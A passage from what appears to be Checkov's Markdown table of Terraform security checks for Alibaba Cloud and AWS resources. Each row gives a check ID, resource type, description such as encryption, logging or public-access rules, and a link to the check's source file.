Terway or Flannel to support standard policies                                                                                                                         | Terraform | [K8sEnableNetworkPolicies.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/alicloud/K8sEnableNetworkPolicies.py)                                                                          |\n|   29 | CKV_ALI_27      | resource | alicloud_kms_key                                                 | Ensure KMS Key Rotation is enabled                                                                                                                                                                       | Terraform | [KMSKeyRotationIsEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/alicloud/KMSKeyRotationIsEnabled.py)                                                                            |\n|   30 | CKV_ALI_28      | resource | alicloud_kms_key                                                 | Ensure KMS Keys are enabled                                                                                                                                                                              | Terraform | [KMSKeyIsEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/alicloud/KMSKeyIsEnabled.py)                                                                                            |\n|   31 | CKV_ALI_29      | resource | alicloud_alb_acl_entry_attachment                                | Alibaba ALB ACL does not restrict Access                                                                                                                                                                 | Terraform | [ALBACLIsUnrestricted.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/alicloud/ALBACLIsUnrestricted.py)                                                                                  |\n|   32 | CKV_ALI_30      | resource | alicloud_db_instance                                             | Ensure RDS instance auto upgrades for minor versions                                                                                                                                                     | Terraform | [RDSInstanceAutoUpgrade.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/alicloud/RDSInstanceAutoUpgrade.py)                                                                              |\n|   33 | CKV_ALI_31      | resource | alicloud_cs_kubernetes_node_pool                                 | Ensure K8s nodepools are set to auto repair                                                                                                                                                              | Terraform | [K8sNodePoolAutoRepair.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/alicloud/K8sNodePoolAutoRepair.py)                                                                                |\n|   34 | CKV_ALI_32      | resource | alicloud_ecs_launch_template                                     | Ensure launch template data disks are encrypted                                                                                                                                                          | Terraform | [LaunchTemplateDisksAreEncrypted.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/alicloud/LaunchTemplateDisksAreEncrypted.py)                                                            |\n|   35 | CKV_ALI_33      | resource | alicloud_slb_tls_cipher_policy                                   | Alibaba Cloud Cypher Policy are secure                                                                                                                                                                   | Terraform | [TLSPoliciesAreSecure.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/alicloud/TLSPoliciesAreSecure.py)                                                                                  |\n|   36 | CKV_ALI_35      | resource | alicloud_db_instance                                             | Ensure RDS instance has log_duration enabled                                                                                                                                                             | Terraform | [RDSInstanceLogsEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/alicloud/RDSInstanceLogsEnabled.py)                                                                              |\n|   37 | CKV_ALI_36      | resource | alicloud_db_instance                                             | Ensure RDS instance has log_disconnections enabled                                                                                                                                                       | Terraform | [RDSInstanceLogDisconnections.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/alicloud/RDSInstanceLogDisconnections.py)                                                                  |\n|   38 | CKV_ALI_37      | resource | alicloud_db_instance                                             | Ensure RDS instance has log_connections enabled                                                                                                                                                          | Terraform | [RDSInstanceLogConnections.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/alicloud/RDSInstanceLogConnections.py)                                                                        |\n|   39 | CKV_ALI_38      | resource | alicloud_log_audit                                               | Ensure log audit is enabled for RDS                                                                                                                                                                      | Terraform | [LogAuditRDSEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/alicloud/LogAuditRDSEnabled.py)                                                                                      |\n|   40 | CKV_ALI_41      | resource | alicloud_mongodb_instance                                        | Ensure MongoDB is deployed inside a VPC                                                                                                                                                                  | Terraform | [MongoDBInsideVPC.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/alicloud/MongoDBInsideVPC.py)                                                                                          |\n|   41 | CKV_ALI_42      | resource | alicloud_mongodb_instance                                        | Ensure Mongodb instance uses SSL                                                                                                                                                                         | Terraform | [MongoDBInstanceSSL.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/alicloud/MongoDBInstanceSSL.py)                                                                                      |\n|   42 | CKV_ALI_43      | resource | alicloud_mongodb_instance                                        | Ensure MongoDB instance is not public                                                                                                                                                                    | Terraform | [MongoDBIsPublic.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/alicloud/MongoDBIsPublic.py)                                                                                            |\n|   43 | CKV_ALI_44      | resource | alicloud_mongodb_instance                                        | Ensure MongoDB has Transparent Data Encryption Enabled                                                                                                                                                   | Terraform | [MongoDBTransparentDataEncryptionEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/alicloud/MongoDBTransparentDataEncryptionEnabled.py)                                            |\n|   44 | CKV_AWS_1       | data     | aws_iam_policy_document                                          | Ensure IAM policies that allow full \"*-*\" administrative privileges are not created                                                                                                                      | Terraform | [AdminPolicyDocument.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/data/aws/AdminPolicyDocument.py)                                                                                             |\n|   45 | CKV_AWS_2       | resource | aws_alb_listener                                                 | Ensure ALB protocol is HTTPS                                                                                                                                                                             | Terraform | [ALBListenerHTTPS.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/ALBListenerHTTPS.py)                                                                                               |\n|   46 | CKV_AWS_2       | resource | aws_lb_listener                                                  | Ensure ALB protocol is HTTPS                                                                                                                                                                             | Terraform | [ALBListenerHTTPS.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/ALBListenerHTTPS.py)                                                                                               |\n|   47 | CKV_AWS_3       | resource | aws_ebs_volume                                                   | Ensure all data stored in the EBS is securely encrypted                                                                                                                                                  | Terraform | [EBSEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/EBSEncryption.py)                                                                                                     |\n|   48 | CKV_AWS_5       | resource | aws_elasticsearch_domain                                         | Ensure all data stored in the Elasticsearch is securely encrypted at rest                                                                                                                                | Terraform | [ElasticsearchEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/ElasticsearchEncryption.py)                                                                                 |\n|   49 | CKV_AWS_5       | resource | aws_opensearch_domain                                            | Ensure all data stored in the Elasticsearch is securely encrypted at rest                                                                                                                                | Terraform | [ElasticsearchEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/ElasticsearchEncryption.py)                                                                                 |\n|   50 | CKV_AWS_6       | resource | aws_elasticsearch_domain                                         | Ensure all Elasticsearch has node-to-node encryption enabled                                                                                                                                             | Terraform | [ElasticsearchNodeToNodeEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/ElasticsearchNodeToNodeEncryption.py)                                                             |\n|   51 | CKV_AWS_6       | resource | aws_opensearch_domain                                            | Ensure all Elasticsearch has node-to-node encryption enabled                                                                                                                                             | Terraform | [ElasticsearchNodeToNodeEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/ElasticsearchNodeToNodeEncryption.py)                                                             |\n|   52 | CKV_AWS_7       | resource | aws_kms_key                                                      | Ensure rotation for customer created CMKs is enabled                                                                                                                                                     | Terraform | [KMSRotation.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/KMSRotation.py)                                                                                                         |\n|   53 | CKV_AWS_8       | resource | aws_instance                                                     | Ensure all data stored in the Launch configuration or instance Elastic Blocks Store is securely encrypted                                                                                                | Terraform | [LaunchConfigurationEBSEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/LaunchConfigurationEBSEncryption.py)                                                               |\n|   54 | CKV_AWS_8       | resource | aws_launch_configuration                                         | Ensure all data stored in the Launch configuration or instance Elastic Blocks Store is securely encrypted                                                                                                | Terraform | [LaunchConfigurationEBSEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/LaunchConfigurationEBSEncryption.py)                                                               |\n|   55 | CKV_AWS_9       | resource | aws_iam_account_password_policy                                  | Ensure IAM password policy expires passwords within 90 days or less                                                                                                                                      | Terraform | [PasswordPolicyExpiration.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/PasswordPolicyExpiration.py)                                                                               |\n|   56 | CKV_AWS_10      | resource | aws_iam_account_password_policy                                  | Ensure IAM password policy requires minimum length of 14 or greater                                                                                                                                      | Terraform | [PasswordPolicyLength.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/PasswordPolicyLength.py)                                                                                       |\n|   57 | CKV_AWS_11      | resource | aws_iam_account_password_policy                                  | Ensure IAM password policy requires at least one lowercase letter                                                                                                                                        | Terraform | [PasswordPolicyLowercaseLetter.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/PasswordPolicyLowercaseLetter.py)                                                                     |\n|   58 | CKV_AWS_12      | resource | aws_iam_account_password_policy                                  | Ensure IAM password policy requires at least one number                                                                                                                                                  | Terraform | [PasswordPolicyNumber.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/PasswordPolicyNumber.py)                                                                                       |\n|   59 | CKV_AWS_13      | resource | aws_iam_account_password_policy                                  | Ensure IAM password policy prevents password reuse                                                                                                                                                       | Terraform | [PasswordPolicyReuse.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/PasswordPolicyReuse.py)                                                                                         |\n|   60 | CKV_AWS_14      | resource | aws_iam_account_password_policy                                  | Ensure IAM password policy requires at least one symbol                                                                                                                                                  | Terraform | [PasswordPolicySymbol.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/PasswordPolicySymbol.py)                                                                                       |\n|   61 | CKV_AWS_15      | resource | aws_iam_account_password_policy                                  | Ensure IAM password policy requires at least one uppercase letter                                                                                                                                        | Terraform | [PasswordPolicyUppercaseLetter.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/PasswordPolicyUppercaseLetter.py)                                                                     |\n|   62 | CKV_AWS_16      | resource | aws_db_instance                                                  | Ensure all data stored in the RDS is securely encrypted at rest                                                                                                                                          | Terraform | [RDSEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/RDSEncryption.py)                                                                                                     |\n|   63 | CKV_AWS_17      | resource | aws_db_instance                                                  | Ensure all data stored in RDS is not publicly accessible                                                                                                                                                 | Terraform | [RDSPubliclyAccessible.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/RDSPubliclyAccessible.py)                                                                                     |\n|   64 | CKV_AWS_17      | resource | aws_rds_cluster_instance                                         | Ensure all data stored in RDS is not publicly accessible                                                                                                                                                 | Terraform | [RDSPubliclyAccessible.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/RDSPubliclyAccessible.py)                                                                                     |\n|   65 | CKV_AWS_18      | resource | aws_s3_bucket                                                    | Ensure the S3 bucket has access logging enabled                                                                                                                                                          | Terraform | [S3BucketLogging.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/S3BucketLogging.yaml)                                                                                         |\n|   66 | CKV_AWS_19      | resource | aws_s3_bucket                                                    | Ensure all data stored in the S3 bucket is securely encrypted at rest                                                                                                                                    | Terraform | [S3BucketEncryption.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/S3BucketEncryption.yaml)                                                                                   |\n|   67 | CKV_AWS_19      | resource | aws_s3_bucket_server_side_encryption_configuration               | Ensure all data stored in the S3 bucket is securely encrypted at rest                                                                                                                                    | Terraform | [S3BucketEncryption.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/S3BucketEncryption.yaml)                                                                                   |\n|   68 | CKV_AWS_20      | resource | aws_s3_bucket                                                    | S3 Bucket has an ACL defined which allows public READ access.                                                                                                                                            | Terraform | [S3PublicACLRead.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/S3PublicACLRead.yaml)                                                                                         |\n|   69 | CKV_AWS_20      | resource | aws_s3_bucket_acl                                                | S3 Bucket has an ACL defined which allows public READ access.                                                                                                                                            | Terraform | [S3PublicACLRead.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/S3PublicACLRead.yaml)                                                                                         |\n|   70 | CKV_AWS_21      | resource | aws_s3_bucket                                                    | Ensure all data stored in the S3 bucket have versioning enabled                                                                                                                                          | Terraform | [S3BucketVersioning.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/S3BucketVersioning.yaml)                                                                                   |\n|   71 | CKV_AWS_21      | resource | aws_s3_bucket_versioning                                         | Ensure all data stored in the S3 bucket have versioning enabled                                                                                                                                          | Terraform | [S3BucketVersioning.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/S3BucketVersioning.yaml)                                                                                   |\n|   72 | CKV_AWS_22      | resource | aws_sagemaker_notebook_instance                                  | Ensure SageMaker Notebook is encrypted at rest using KMS CMK                                                                                                                                             | Terraform | [SagemakerNotebookEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/SagemakerNotebookEncryption.py)                                                                         |\n|   73 | CKV_AWS_23      | resource | aws_db_security_group                                            | Ensure every security group and rule has a description                                                                                                                                                   | Terraform | [SecurityGroupRuleDescription.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/SecurityGroupRuleDescription.py)                                                                       |\n|   74 | CKV_AWS_23      | resource | aws_elasticache_security_group                                   | Ensure every security group and rule has a description                                                                                                                                                   | Terraform | [SecurityGroupRuleDescription.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/SecurityGroupRuleDescription.py)                                                                       |\n|   75 | CKV_AWS_23      | resource | aws_redshift_security_group                                      | Ensure every security group and rule has a description                                                                                                                                                   | Terraform | [SecurityGroupRuleDescription.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/SecurityGroupRuleDescription.py)                                                                       |\n|   76 | CKV_AWS_23      | resource | aws_security_group                                               | Ensure every security group and rule has a description                                                                                                                                                   | Terraform | [SecurityGroupRuleDescription.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/SecurityGroupRuleDescription.py)                                                                       |\n|   77 | CKV_AWS_23      | resource | aws_security_group_rule                                          | Ensure every security group and rule has a description                                                                                                                                                   | Terraform | [SecurityGroupRuleDescription.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/SecurityGroupRuleDescription.py)                                                                       |\n|   78 | CKV_AWS_23      | resource | aws_vpc_security_group_egress_rule                               | Ensure every security group and rule has a description                                                                                                                                                   | Terraform | [SecurityGroupRuleDescription.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/SecurityGroupRuleDescription.py)                                                                       |\n|   79 | CKV_AWS_23      | resource | aws_vpc_security_group_ingress_rule                              | Ensure every security group and rule has a description                                                                                                                                                   | Terraform | [SecurityGroupRuleDescription.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/SecurityGroupRuleDescription.py)                                                                       |\n|   80 | CKV_AWS_24      | resource | aws_security_group                                               | Ensure no security groups allow ingress from 0.0.0.0:0 to port 22                                                                                                                                        | Terraform | [SecurityGroupUnrestrictedIngress22.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/SecurityGroupUnrestrictedIngress22.py)                                                           |\n|   81 | CKV_AWS_24      | resource | aws_security_group_rule                                          | Ensure no security groups allow ingress from 0.0.0.0:0 to port 22                                                                                                                                        | Terraform | [SecurityGroupUnrestrictedIngress22.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/SecurityGroupUnrestrictedIngress22.py)                                                           |\n|   82 | CKV_AWS_24      | resource | aws_vpc_security_group_ingress_rule                              | Ensure no security groups allow ingress from 0.0.0.0:0 to port 22                                                                                                                                        | Terraform | [SecurityGroupUnrestrictedIngress22.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/SecurityGroupUnrestrictedIngress22.py)                                                           |\n|   83 | CKV_AWS_25      | resource | aws_security_group                                               | Ensure no security groups allow ingress from 0.0.0.0:0 to port 3389                                                                                                                                      | Terraform | [SecurityGroupUnrestrictedIngress3389.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/SecurityGroupUnrestrictedIngress3389.py)                                                       |\n|   84 | CKV_AWS_25      | resource | aws_security_group_rule                                          | Ensure no security groups allow ingress from 0.0.0.0:0 to port 3389                                                                                                                                      | Terraform | [SecurityGroupUnrestrictedIngress3389.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/SecurityGroupUnrestrictedIngress3389.py)                                                       |\n|   85 | CKV_AWS_25      | resource | aws_vpc_security_group_ingress_rule                              | Ensure no security groups allow ingress from 0.0.0.0:0 to port 3389                                                                                                                                      | Terraform | [SecurityGroupUnrestrictedIngress3389.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/SecurityGroupUnrestrictedIngress3389.py)                                                       |\n|   86 | CKV_AWS_26      | resource | aws_sns_topic                                                    | Ensure all data stored in the SNS topic is encrypted                                                                                                                                                     | Terraform | [SNSTopicEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/SNSTopicEncryption.py)                                                                                           |\n|   87 | CKV_AWS_27      | resource | aws_sqs_queue                                                    | Ensure all data stored in the SQS queue is encrypted                                                                                                                                                     | Terraform | [SQSQueueEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/SQSQueueEncryption.py)                                                                                           |\n|   88 | CKV_AWS_28      | resource | aws_dynamodb_table                                               | Ensure DynamoDB point in time recovery (backup) is enabled                                                                                                                                               | Terraform | [DynamodbRecovery.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/DynamodbRecovery.py)                                                                                               |\n|   89 | CKV_AWS_29      | resource | aws_elasticache_replication_group                                | Ensure all data stored in the ElastiCache Replication Group is securely encrypted at rest                                                                                                                | Terraform | [ElasticacheReplicationGroupEncryptionAtRest.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/ElasticacheReplicationGroupEncryptionAtRest.py)                                         |\n|   90 | CKV_AWS_30      | resource | aws_elasticache_replication_group                                | Ensure all data stored in the ElastiCache Replication Group is securely encrypted at transit                                                                                                             | Terraform | [ElasticacheReplicationGroupEncryptionAtTransit.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/ElasticacheReplicationGroupEncryptionAtTransit.py)                                   |\n|   91 | CKV_AWS_31      | resource | aws_elasticache_replication_group                                | Ensure all data stored in the ElastiCache Replication Group is securely encrypted at transit and has auth token                                                                                          | Terraform | [ElasticacheReplicationGroupEncryptionAtTransitAuthToken.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/ElasticacheReplicationGroupEncryptionAtTransitAuthToken.py)                 |\n|   92 | CKV_AWS_32      | resource | aws_ecr_repository_policy                                        | Ensure ECR policy is not set to public                                                                                                                                                                   | Terraform | [ECRPolicy.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/ECRPolicy.py)                                                                                                             |\n|   93 | CKV_AWS_33      | resource | aws_kms_key                                                      | Ensure KMS key policy does not contain wildcard (*) principal                                                                                                                                            | Terraform | [KMSKeyWildcardPrincipal.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/KMSKeyWildcardPrincipal.py)                                                                                 |\n|   94 | CKV_AWS_34      | resource | aws_cloudfront_distribution                                      | Ensure CloudFront distribution ViewerProtocolPolicy is set to HTTPS                                                                                                                                      | Terraform | [CloudfrontDistributionEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/CloudfrontDistributionEncryption.py)                                                               |\n|   95 | CKV_AWS_35      | resource | aws_cloudtrail                                                   | Ensure CloudTrail logs are encrypted at rest using KMS CMKs                                                                                                                                              | Terraform | [CloudtrailEncryptionWithCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/CloudtrailEncryptionWithCMK.py)                                                                         |\n|   96 | CKV_AWS_36      | resource | aws_cloudtrail                                                   | Ensure CloudTrail log file validation is enabled                                                                                                                                                         | Terraform | [CloudtrailLogValidation.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/CloudtrailLogValidation.py)                                                                                 |\n|   97 | CKV_AWS_37      | resource | aws_eks_cluster                                                  | Ensure Amazon EKS control plane logging is enabled for all log types                                                                                                                                     | Terraform | [EKSControlPlaneLogging.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/EKSControlPlaneLogging.py)                                                                                   |\n|   98 | CKV_AWS_38      | resource | aws_eks_cluster                                                  | Ensure Amazon EKS public endpoint not accessible to 0.0.0.0/0                                                                                                                                            | Terraform | [EKSPublicAccessCIDR.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/EKSPublicAccessCIDR.py)                                                                                         |\n|   99 | CKV_AWS_39      | resource | aws_eks_cluster                                                  | Ensure Amazon EKS public endpoint disabled                                                                                                                                                               | Terraform | [EKSPublicAccess.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/EKSPublicAccess.py)                                                                                                 |\n|  100 | CKV_AWS_40      | resource | aws_iam_policy_attachment                                        | Ensure IAM policies are attached only to groups or roles (Reducing access management complexity may in-turn reduce opportunity for a principal to inadvertently receive or retain excessive privileges.) | Terraform | [IAMPolicyAttachedToGroupOrRoles.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/IAMPolicyAttachedToGroupOrRoles.py)                                                                 |\n|  101 | CKV_AWS_40      | resource | aws_iam_user_policy                                              | Ensure IAM policies are attached only to groups or roles (Reducing access management complexity may in-turn reduce opportunity for a principal to inadvertently receive or retain excessive privileges.) | Terraform | [IAMPolicyAttachedToGroupOrRoles.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/IAMPolicyAttachedToGroupOrRoles.py)                                                                 |\n|  102 | CKV_AWS_40      | resource | aws_iam_user_policy_attachment                                   | Ensure IAM policies are attached only to groups or roles (Reducing access management complexity may in-turn reduce opportunity for a principal to inadvertently receive or retain excessive privileges.) | Terraform | [IAMPolicyAttachedToGroupOrRoles.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/IAMPolicyAttachedToGroupOrRoles.py)                                                                 |\n|  103 | CKV_AWS_41      | provider | aws                                                              | Ensure no hard coded AWS access key and secret key exists in provider                                                                                                                                    | Terraform | [credentials.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/provider/aws/credentials.py)                                                                                                         |\n|  104 | CKV_AWS_42      | resource | aws_efs_file_system                                              | Ensure EFS is securely encrypted                                                                                                                                                                         | Terraform | [EFSEncryptionEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/EFSEncryptionEnabled.py)                                                                                       |\n|  105 | CKV_AWS_43      | resource | aws_kinesis_stream                                               | Ensure Kinesis Stream is securely encrypted                                                                                                                                                              | Terraform | [KinesisStreamEncryptionType.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/KinesisStreamEncryptionType.py)                                                                         |\n|  106 | CKV_AWS_44      | resource | aws_neptune_cluster                                              | Ensure Neptune storage is securely encrypted                                                                                                                                                             | Terraform | [NeptuneClusterStorageEncrypted.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/NeptuneClusterStorageEncrypted.py)                                                                   |\n|  107 | CKV_AWS_45      | resource | aws_lambda_function                                              | Ensure no hard-coded secrets exist in lambda environment                                                                                                                                                 | Terraform | [LambdaEnvironmentCredentials.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/LambdaEnvironmentCredentials.py)                                                                       |\n|  108 | CKV_AWS_46      | resource | aws_instance                                                     | Ensure no hard-coded secrets exist in EC2 user data                                                                                                                                                      | Terraform | [EC2Credentials.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/EC2Credentials.py)                                                                                                   |\n|  109 | CKV_AWS_46      | resource | aws_launch_configuration                                         | Ensure no hard-coded secrets exist in EC2 user data                                                                                                                                                      | Terraform | [EC2Credentials.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/EC2Credentials.py)                                                                                                   |\n|  110 | CKV_AWS_46      | resource | aws_launch_template                                              | Ensure no hard-coded secrets exist in EC2 user data                                                                                                                                                      | Terraform | [EC2Credentials.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/EC2Credentials.py)                                                                                                   |\n|  111 | CKV_AWS_47      | resource | aws_dax_cluster                                                  | Ensure DAX is encrypted at rest (default is unencrypted)                                                                                                                                                 | Terraform | [DAXEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/DAXEncryption.py)                                                                                                     |\n|  112 | CKV_AWS_48      | resource | aws_mq_broker                                                    | Ensure MQ Broker logging is enabled                                                                                                                                                                      | Terraform | [MQBrokerLogging.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/MQBrokerLogging.py)                                                                                                 |\n|  113 | CKV_AWS_49      | data     | aws_iam_policy_document                                          | Ensure no IAM policies documents allow \"*\" as a statement's actions                                                                                                                                      | Terraform | [StarActionPolicyDocument.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/data/aws/StarActionPolicyDocument.py)                                                                                   |\n|  114 | CKV_AWS_50      | resource | aws_lambda_function                                              | X-Ray tracing is enabled for Lambda                                                                                                                                                                      | Terraform | [LambdaXrayEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/LambdaXrayEnabled.py)                                                                                             |\n|  115 | CKV_AWS_51      | resource | aws_ecr_repository                                               | Ensure ECR Image Tags are immutable                                                                                                                                                                      | Terraform | [ECRImmutableTags.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/ECRImmutableTags.py)                                                                                               |\n|  116 | CKV_AWS_53      | resource | aws_s3_bucket_public_access_block                                | Ensure S3 bucket has block public ACLS enabled                                                                                                                                                           | Terraform | [S3BlockPublicACLs.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/S3BlockPublicACLs.py)                                                                                             |\n|  117 | CKV_AWS_54      | resource | aws_s3_bucket_public_access_block                                | Ensure S3 bucket has block public policy enabled                                                                                                                                                         | Terraform | [S3BlockPublicPolicy.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/S3BlockPublicPolicy.py)                                                                                         |\n|  118 | CKV_AWS_55      | resource | aws_s3_bucket_public_access_block                                | Ensure S3 bucket has ignore public ACLs enabled                                                                                                                                                          | Terraform | [S3IgnorePublicACLs.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/S3IgnorePublicACLs.py)                                                                                           |\n|  119 | CKV_AWS_56      | resource | aws_s3_bucket_public_access_block                                | Ensure S3 bucket has 'restrict_public_buckets' enabled                                                                                                                                                   | Terraform | [S3RestrictPublicBuckets.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/S3RestrictPublicBuckets.py)                                                                                 |\n|  120 | CKV_AWS_57      | resource | aws_s3_bucket                                                    | S3 Bucket has an ACL defined which allows public WRITE access.                                                                                                                                           | Terraform | [S3PublicACLWrite.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/S3PublicACLWrite.yaml)                                                                                       |\n|  121 | CKV_AWS_57      | resource | aws_s3_bucket_acl                                                | S3 Bucket has an ACL defined which allows public WRITE access.                                                                                                                                           | Terraform | [S3PublicACLWrite.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/S3PublicACLWrite.yaml)                                                                                       |\n|  122 | CKV_AWS_58      | resource | aws_eks_cluster                                                  | Ensure EKS Cluster has Secrets Encryption Enabled                                                                                                                                                        | Terraform | [EKSSecretsEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/EKSSecretsEncryption.py)                                                                                       |\n|  123 | CKV_AWS_59      | resource | aws_api_gateway_method                                           | Ensure there is no open access to back-end resources through API                                                                                                                                         | Terraform | [APIGatewayAuthorization.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/APIGatewayAuthorization.py)                                                                                 |\n|  124 | CKV_AWS_60      | resource | aws_iam_role                                                     | Ensure IAM role allows only specific services or principals to assume it                                                                                                                                 | Terraform | [IAMRoleAllowsPublicAssume.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/IAMRoleAllowsPublicAssume.py)                                                                             |\n|  125 | CKV_AWS_61      | resource | aws_iam_role                                                     | Ensure AWS IAM policy does not allow assume role permission across all services                                                                                                                          | Terraform | 